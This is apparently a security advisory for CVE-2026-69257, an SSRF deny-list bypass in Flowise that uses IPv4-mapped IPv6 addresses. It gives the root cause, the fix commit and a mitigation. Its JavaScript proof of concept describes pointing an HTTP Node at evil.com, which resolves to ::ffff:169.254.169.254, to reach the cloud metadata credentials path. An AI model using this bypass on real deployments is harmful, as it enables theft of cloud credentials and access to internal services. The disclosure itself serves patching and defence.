highCVE-2026-69257Aug 4, 2026

CVE-2026-69257: Flowise SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Flowise's SSRF deny list can be completely bypassed by supplying an IPv4-mapped IPv6 address such as ::ffff:169.254.169.254, letting an attacker reach cloud metadata endpoints and internal services…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69257: Flowise SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

The problem

The isDeniedIP() function in packages/components/src/httpSecurity.ts compares the kind() of the resolved IP against the kind() of each deny-list range entry before running the CIDR match. When DNS resolves a hostname to an IPv4-mapped IPv6 address like ::ffff:169.254.169.254, ipaddr.js reports its kind as 'ipv6'.

Every IPv4 CIDR entry in the deny list (127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, etc.) has kind 'ipv4', so the kind comparison is always false and the CIDR check is silently skipped.

The IPv6-specific deny entries (::1, fc00::/7, fe80::/10, ff00::/8) do not cover the ::ffff:0:0/96 range, so every IPv4-mapped address slips through all rules. Any chatflow node that accepts a URL (HTTP Node, ApiChain, Document Loader, MCP tool, etc.) is affected, giving an attacker access to AWS/GCP/Azure IMDS credentials, RFC1918 internal services, and localhost.

Proof of concept

A working proof-of-concept for CVE-2026-69257 in flowise, with the exact payload below.

javascript
// Verify the bypass with ipaddr.js 2.2.0 (exact version Flowise uses)
const ipaddr = require('ipaddr.js');

// Step 1: Attacker sets AAAA record: evil.com -> ::ffff:169.254.169.254
// Step 2: Attacker points a chatflow HTTP Node at http://evil.com/latest/meta-data/iam/security-credentials/
// Step 3: Flowise resolves the hostname and calls isDeniedIP with the result

const attackerIP = '::ffff:169.254.169.254'; // returned by dns.lookup with family:6
const denyList = [
    '169.254.0.0/16',   // cloud metadata
    '127.0.0.0/8',      // loopback
    '10.0.0.0/8',       // RFC1918
    '172.16.0.0/12',    // RFC1918
    '192.168.0.0/16',   // RFC1918
];

const parsedIp = ipaddr.parse(attackerIP);
console.log('kind:', parsedIp.kind());              // 'ipv6'
console.log('isIPv4Mapped:', parsedIp.isIPv4MappedAddress()); // true
console.log('maps to:', parsedIp.toIPv4Address().toString()); // '169.254.169.254'

for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    // parsedIp.kind()='ipv6' vs parsedRange.kind()='ipv4' -> always false
    const kindMatch = parsedIp.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false -> CIDR check skipped
}
// Result: request to http://evil.com/ is ALLOWED and reaches 169.254.169.254

The root cause is CWE-1389: the code uses parsedIp.kind() === parsedRange.kind() as a guard before calling parsedIp.match(), but ipaddr.js represents IPv4-mapped IPv6 addresses with kind 'ipv6' rather than normalizing them to 'ipv4' first. This creates an unconditional mismatch against every IPv4 CIDR entry, making the guard act as a bypass rather than a safety check.

The patch (commit 0fc769208395641c1411ccdb9c81416e54802155, PR #6431) adds an explicit normalization step at the top of isDeniedIP(): if the parsed IP is an IPv6 address and isIPv4MappedAddress() returns true, the function calls toIPv4Address() before entering the deny-list loop.

After normalization, kind is 'ipv4' on both sides, so the CIDR match fires correctly and the bypass is closed.

The fix

Upgrade to Flowise 3.1.3 or later. The fix is in commit 0fc769208395641c1411ccdb9c81416e54802155 (PR #6431): isDeniedIP() now normalizes any IPv4-mapped IPv6 address to its underlying IPv4 form via ipaddr.js's isIPv4MappedAddress() / toIPv4Address() before running deny-list checks.

As a network-level defense in depth, add egress filtering on the host to block outbound connections to 169.254.0.0/16 and RFC1918 ranges independently of application logic.

Reporter not attributed.

References: [1][2][3][4][5]

Related research